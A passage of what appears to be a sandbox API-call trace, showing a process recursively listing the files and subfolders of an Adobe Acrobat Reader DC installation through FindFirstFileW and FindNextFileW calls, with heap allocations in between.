hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0244.418] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 1 [0244.418] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 0 [0244.418] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0244.419] GetProcessHeap () returned 0xc10000 [0244.419] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.419] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0244.419] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0244.420] GetProcessHeap () returned 0xc10000 [0244.420] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.420] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0244.420] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a3b8a6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x62c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1 [0244.420] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb1160cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base_non_fips.dll", cAlternateFileName="CCME_B~2.DLL")) returned 1 [0244.425] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecb0d47, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_ecc.dll", cAlternateFileName="")) returned 1 [0244.425] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Click on 'Change' to select default PDF handler.pdf", cAlternateFileName="CLICKO~1.PDF")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9352cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2cabf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb74, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda97c8cb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1fff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectInk.dll", cAlternateFileName="DIRECT~1.DLL")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37c828ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa1aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b2b330, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0244.426] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b51580, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0244.427] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1 [0244.427] GetProcessHeap () returned 0xc10000 [0244.427] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0244.428] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.428] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0244.428] GetProcessHeap () returned 0xc10000 [0244.428] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0244.429] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.429] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0244.430] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0244.430] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0244.430] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0244.430] GetProcessHeap () returned 0xc10000 [0244.430] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.430] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0 [0244.430] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0244.431] GetProcessHeap () returned 0xc10000 [0244.431] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.431] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0244.431] GetProcessHeap () returned 0xc10000 [0244.431] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0244.432] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.432] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0244.432] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x36c4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 0 [0244.433] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0244.433] GetProcessHeap () returned 0xc10000 [0244.433] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.433] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0244.433] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0244.433] GetProcessHeap () returned 0xc10000 [0244.433] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0244.436] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.436] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0244.436] GetProcessHeap () returned 0xc10000 [0244.436] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0244.437] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.437] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0244.437] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0244.437] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0244.437] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0244.437] GetProcessHeap () returned 0xc10000 [0244.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: 